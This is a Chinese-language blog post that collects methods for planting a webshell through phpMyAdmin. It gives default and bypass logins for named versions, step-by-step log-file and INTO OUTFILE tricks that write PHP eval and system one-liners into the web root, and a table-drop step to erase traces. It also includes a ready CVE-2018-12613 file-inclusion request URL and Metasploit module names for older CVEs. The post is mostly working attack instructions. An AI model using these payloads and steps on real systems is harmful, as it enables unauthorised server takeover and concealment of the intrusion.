总结一下各处找到的phpmyadmin写入shell方法
弱口令:版本phpmyadmin2.11.9.2, 直接root用户登陆,无需密码
万能密码:版本2.11.3 / 2.11.4,用户名‘localhost’@‘@”则登录成功
前提条件
知道网站物理路径
全局日志getshell
在变量处查看general_log,修改为ON时则会写日志。
此时修改general_log_file,修改为网站的路径.php,则会产生日志。
然后写入select "<?php eval($_POST[a]);?>"
即可。
慢日志查询getshell
在查询时间大于参数long_query_time时,则会将该语句记录到日志中。默认情况下long_query_time的值为10秒,可以使用命令修改,也可以在my.cnf参数里面修改。(关于运行时间正好等于long_query_time的情况,并不会被记录下来)
首先查看secure_file_priv,确认其未开启。
然后设置slow_query_log为ON,且设置slow_query_log_file为网站路径.php。
写入语句select '<?php echo system($_GET["cmd"]);?>' or sleep(11);
即可存入慢日志中。
新表getshell
首先建立新表,名字随意(假设为shell_table)。
然后添加字段,名字随意,类型为text
插入表值,值为一句话木马。
执行sql查询,导出至指定文件select * from shell_table into outfile "G:/phpstudy/WWW/shell.php";
(G:/phpstudy/WWW为网站路径)
删除该表,抹除痕迹drop table shell_table;
也可以直接用sql语句
1 | Create TABLE shell_table (xiaoma text NOT NULL) -- 建表 |
文件包含getshell
CVE-2018-12613文件包含
影响版本:Phpmyadmin 4.8.0/4.8.0.1/4.8.1
用select @@datadir;
查看数据库表保存路径。
将'<?php eval($_POST[a]);?>'
作为值存入表中。
文件的路径就是:data路径+数据库名/表名.frm,然后用文件包含漏洞包含即可。
/index.php?target=db_sql.php%253f/../../../../../../phpStudy/PHPTutorial/MySQL/data/test/test1.frm
CVE-2018-19968
CVE getshell
CVE-2009-1151
PhpMyAdmin配置文件/config/config.inc.php存在命令执行
影响版本:2.11.x < 2.11.9.5 and 3.x < 3.1.3.1
利用模块:exploit/unix/webapp/phpmyadmin_config
CVE-2012-5159
影响版本:phpMyAdmin v3.5.2.2
利用模块:exploit/multi/http/phpmyadmin3522_backdoor
CVE-2013-3238
影响版本:3.5.x < 3.5.8.1 and 4.0.0 < 4.0.0-rc3 ANYUN.ORG
利用模块:exploit/multi/http/phpmyadminpregreplace
参考文章:https://www.xctf.org.cn/library/details/4bc41644f3eea6884d4a860a82bdc8db6dc15576/
https://blog.csdn.net/HAI_WD/article/details/105046195
- 本文作者: Sn1pEr
- 本文链接: https://sn1per-ssd.github.io/2021/04/12/phpmyadmin写入shell/
- 版权声明: 本博客所有文章除特别声明外,均采用 MIT 许可协议。转载请注明出处!